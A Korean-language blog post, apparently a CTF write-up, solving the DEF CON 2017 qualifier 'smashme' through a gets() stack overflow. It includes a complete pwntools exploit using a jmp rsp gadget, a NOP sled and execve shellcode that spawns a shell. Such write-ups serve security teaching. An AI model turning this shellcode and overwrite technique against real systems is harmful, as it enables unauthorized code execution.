Wargame & CTF/CTF
[Defcon 2017 예선] smashme
Tribal
2017. 5. 1. 20:32
바이너리에 그 어떠한 보호기법도 걸려있지 않고, 서버에는 ASLR은 걸려있는걸로 예상하고 시작하였다.
문제의 main 함수에는 gets() 함수를 통해 buffer에 입력을 받기 때문에 Buffer Overflow 취약점이 존재한다. 하지만, 이름 smashme인 것처럼 sub_400320() 함수 때문에 그냥 되진 않는데, 저걸 무사히 통과해서 Return Address에 접근해 종료되도록 만들면 된다.
조금 디버깅해보면 __strstr_sse2_unaligned() 함수의 시작부분에서 rsi 레지스터에서 1바이트씩 가져와 확인을 하는 모습을 볼 수 있다. rsi에 있는 문자열을 살펴보면 조금 수상한 문자열이 들어있는데, 이 문자열이 키워드이다.
해당 문자열 뒤에 문자열을 추가하여 입력을 하면 Segmentation Fault가 발생하는 것을 볼 수 있다.
Return Address까지 대충 페이로드를 채워넣은 뒤, Return Address에 jmp rsp 가젯을 넣고 그 뒤에 쉘코드를 세팅해주면 쉘이 획득될 것이다.
페이로드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/python from pwn import * sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" gadget = 0x4c25a9 payload = "Smash me outside, how bout dAAAAAAAAAAA" + "B"*33 payload += p64(gadget) payload += "\x90"*500 payload += sc s = process("./smashme") #s = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348) print s.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n") s.sendline(payload) s.interactive() s.close() | cs |
결과화면